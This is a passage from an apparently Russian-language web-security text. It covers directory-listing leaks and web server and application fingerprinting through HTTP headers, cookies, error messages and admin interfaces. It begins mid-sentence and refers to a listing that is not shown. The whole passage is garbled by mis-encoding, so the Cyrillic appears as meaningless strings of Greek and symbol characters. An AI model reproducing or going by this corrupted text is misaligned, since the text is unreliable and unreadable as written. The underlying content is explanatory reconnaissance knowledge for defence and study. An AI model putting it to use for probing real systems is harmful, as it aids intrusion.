ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ.

♦ НСкоторыС ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ Π²Π΅Π±-сСрвСра ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ список Ρ„Π°ΠΉΠ»ΠΎΠ², Π΄Π°ΠΆΠ΅ Ссли это Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ Π² ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»Π°Ρ…. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ это Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ошибок Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΊΠΎΠ³Π΄Π° сСрвСр Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ список Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ запроса.

♦ Π‘Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… поисковых машин (Google, Wayback machine) ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ кэш старых Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² сСрвСра, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ списки Ρ„Π°ΠΉΠ»ΠΎΠ².

Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ (Web Server/Application Fingerprinting). ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ вСрсий ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΎΠΌ для получСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… сСрвСром ΠΈ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… систСмах, Π²Π΅Π±-сСвСрах ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, эта Π°Ρ‚Π°ΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π° Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ Π²Π΅Π±-прилоТСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ слуТбу ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°, сСрвСр Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ программирования. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ Π°Ρ‚Π°ΠΊΠΈ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡŽΡ‚, анализируя:

♦ особСнности Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP;

♦ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ HTTP-ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ²;

♦ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ сСрвСром Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Ρ„Π°ΠΉΠ»ΠΎΠ² (ASP ΠΈΠ»ΠΈ JSP);

♦ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ cookie (ASPSESSION ΠΈ Ρ‚. Π΄.);

♦ сообщСния ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…;

♦ структуру ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠ² ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ΅ соглашСниС ΠΎΠ± ΠΈΠΌΠ΅Π½Π°Ρ… (Windows/UNIX);

♦ интСрфСйсы ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ (Frontpage/WebPublisher);

♦ интСрфСйсы администрирования сСрвСра (iPlanet/Comanche);

♦ Π²Π΅Ρ€ΡΠΈΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы.

Для опрСдСлСния вСрсий клиСнтских ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π°Π½Π°Π»ΠΈΠ· HTTP-запросов (порядок слСдования Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ User-agent ΠΈ Ρ‚. Π΄.). Однако для этих Ρ†Π΅Π»Π΅ΠΉ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ. Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π°Π½Π°Π»ΠΈΠ· Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΏΠΎΡ‡Ρ‚ΠΎΠ²Ρ‹Ρ… сообщСний, созданных с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° Microsoft Outlook, позволяСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π²Π΅Ρ€ΡΠΈΡŽ установлСнного Π½Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Internet Explorer.

НаличиС Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈ Ρ‚ΠΎΡ‡Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… прилоТСниях ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ для Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ рСализация ΠΌΠ½ΠΎΠ³ΠΈΡ… Π°Ρ‚Π°ΠΊ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π±ΡƒΡ„Π΅Ρ€Π°) спСцифично для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы ΠΈΠ»ΠΈ прилоТСния. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π΄Π΅Ρ‚Π°Π»ΡŒΠ½Π°Ρ информация ΠΎΠ± инфраструктурС позволяСт ΡΠ½ΠΈΠ·ΠΈΡ‚ΡŒ количСство ошибок ΠΈ, ΠΊΠ°ΠΊ слСдствиС, ΠΎΠ±Ρ‰ΠΈΠΉ "ΡˆΡƒΠΌ", ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΌ. Π”Π°Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΊΡ‚ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½ Π² HTTP RFC 2068, Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΡŽΡ‰ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Server HTTP-ΠΎΡ‚Π²Π΅Ρ‚Π° являлось настраиваСмым ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ. ΠŸΡ€ΠΈΠΌΠ΅Ρ€: сообщСния ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… – ошибка 404 сСрвСром Apache обозначаСтся Ρ„Ρ€Π°Π·ΠΎΠΉ Not Found, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ IIS 5.0 ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ сообщСниСм Object Not Found (листинг 1.14).